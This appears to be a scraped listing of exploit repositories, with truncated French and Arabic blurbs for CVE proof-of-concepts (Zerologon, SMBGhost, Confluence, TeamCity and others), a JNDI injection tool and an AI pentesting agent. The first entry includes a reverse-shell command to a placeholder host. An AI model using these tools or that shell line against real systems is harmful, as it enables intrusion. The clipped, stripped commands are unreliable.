CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Shell inversé comme suit : Écrire le script du shell inversé python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Attribuer les droits d'exécution au script shell python3 CVE-2021-25646.py -...

CVE-2019-12725

CVE-2019-12725 ZeroShell يحتوي على ثغرة تنفيذ أوامر، مما يسمح للمهاجم بتنفيذ أي أمر استغلال الأداة python3 CVE-2019-12725.py -u http://127.0.0.1:1111 اختبار عنوان URL واحد python3 CVE-2019-12725.py -c http://127.0.0.1:1111 وضع cmdshell python3 CVE-2019-12725.py -f url.txt فحص جماعي إخلاء المسؤولي...

JNDI-Injection-Exploit

JNDI-Injection-Exploit Documents sur l'injection JNDI 中文文档 相关文章 Description JNDI-Injection-Exploit est un outil pour générer des liens JNDI fonctionnels et fournir des services d'arrière-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP. Les serveurs RMI et LDAP sont basés sur...

omigod

CVE-2021-38647: Omigod استغلال آخر لـ Omigod مكتوب بسرعة وقذارة في Go. يستخدم هذا الاستغلال ويعتمد على: البحث من wiz: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure حمولة SOAP من midoxnet: https://github.com/midoxnet/CVE-2021-38647 إثبات المفهوم بلغة بايثون من horizon3ai:...

cve

CVE PoC تقريبًا كل PoC متاحة للعموم لـ CVEs. أحدث CVEs الأكثر سخونة...

webdav_exploit

webdavexploit استغلال لـ Microsoft IIS 6.0 CVE-2017-7269 مبني على https://github.com/edwardz246003/IISexploit ولكنه يعمل عن بُعد الاستخدام root@kitploit: python exploit.py -d http://www.eliuha.com/eliuha...

shannon

!NOTE Shannon 2.0 is officially here Shannon - AI Pentester by Keygraph Shannon is an autonomous, AI pentester for web applications and APIs. It analyzes your source code, identifies attack paths, and executes real exploits to prove vulnerabilities before they reach production. This repository is...

CVE-2022-26134-Exploit-Detection

كشف استغلال Confluence RCE CVE-2022-26134 المتطلبات الأساسية 1. ClamAV استنساخ هذا المستودع أو تنزيل قاعدة Yara على خادم Confluence الخاص بك نحن نستخدم قاعدة Yara المقدمة من volexity/threat-intel الذين كشفوا عن هذه الثغرة لأول مرة. استنساخ Git root@kitploit: git clone...

netgear-pwnagent

PwnAgent Ceci est le PoC pour CVE-2023-24749, alias PwnAgent, une RCE côté WAN en un clic sur les routeurs Netgear RAX. Vous pouvez déclencher cet exploit en visitant http://pwn.mahaloz.re. Explication Veuillez consulter le blog qui explique cela ici...

Ghost-CMS-Exploit

Ghost-CMS-Exploit Ghost-CMS Exploit est un script Python. Ce script effectue d'abord des tentatives d'authentification par force brute à l'aide des listes de mots fournies. Si des identifiants valides sont trouvés, il procède à la vérification de la vulnérabilité CVE-2024-23724 et génère une char...

DirtyClone

DirtyClone DirtyClone est un outil de diagnostic et de preuve de concept pour l'escalade de privilèges locaux écrit en C. Il cible un vecteur d'exploitation lié au noyau/XFRM décrit dans la source sous le nom CVE-2026-43503 et est destiné uniquement à des recherches de sécurité autorisées dans de...

CVE-2024-26229-BOF

CVE-2024-26229 ملفات كائنات Beacon تطبيقات Beacon Object File BOF من NVISO لـ CVE-2024-26229 لمنصتي Cobalt Strike و BruteRatel. قم بالتجميع باستخدام: root@kitploit: gcc -c CVE-2024-26229-bof.c -o CVE-2024-26229-bof.o تم تصحيح هذه الثغرة الأمنية في 9 أبريل 2024. راجع...

0logon

لا يحتوي هذا المستودع على ملف README...

CVE-2020-0796-SMB

CVE-2020-0796-SMB هذا المورد هو إعادة إنتاج ثغرة CVE-2020-0796، ويتضمن نسخة Python ونسخة C++. وهو أساساً مجموعة من موارد كبار المطورين على GitHub، نأمل أن يعجبك C++ Python EXP POC استغلال الثغرة: رفع الامتيازات المحلي باستخدام EXP: https://github.com/danigargu/CVE-2020-0796 رفع الامتيازات المحلي...

zer0dump

Zer0Dump Zer0dump est un exploit/outil de type PoC permettant d'abuser des vulnérabilités associées à CVE-2020-1472 Zerologon afin de prendre le contrôle complet d'un contrôleur de domaine Windows non patché. Remerciements spéciaux à @dirkjanm et @SecureAuthCorp...

CVE-2021-30481

CVE-2021-30481 تفاصيل CVE: https://nvd.nist.gov/vuln/detail/CVE-2021-30481 يعتمد كود الاستغلال على SteamworksPy...

AndroidKernelVulnerability

ثغرة نواة أندرويد نظرة عامة في نوفمبر 2017، تم اكتشاف خلل use-after-free في نواة لينكس بواسطة نظام syzkaller . في فبراير 2018، تم إصلاح هذا الخلل في بعض أنوية لينكس وإصدارات أندرويد. لم يتم تضمين هذا الإصلاح أبداً في النشرات الأمنية الشهرية لأندرويد، لذلك لم يتم إصلاحه في العديد من الأجهزة الصادر...

CVE-2023-32364-macos-app-sandbox-escape

CVE-2023-32364-macos-app-sandbox-escape استغلال لـ CVE-2023-32364...

CVE-2024-5522

EN ماسح استغلال PoC لثغرة CVE-2024-5522 في مواقع WordPress. تساعد هذه الأداة في تحديد الثغرة واستغلالها من خلال فحص قائمة بعناوين URL المستهدفة ومحاولة تطبيق حمولة محددة لتحديد ما إذا كان الموقع عرضةً للثغرة. الميزات الفحص التلقائي للثغرات : يفحص عناوين URL المستهدفة بحثًا عن ثغرة CVE-2024-5522...

CVE-2024-27198

FR GenTeamCityExploit est un outil PoC qui cible une vulnérabilité du serveur TeamCity CVE-2024-27198. Il permet de détecter la version de TeamCity et de créer un nouvel utilisateur administrateur en exploitant une faille de contournement d’authentification. Fonctionnalités Extrait la version du...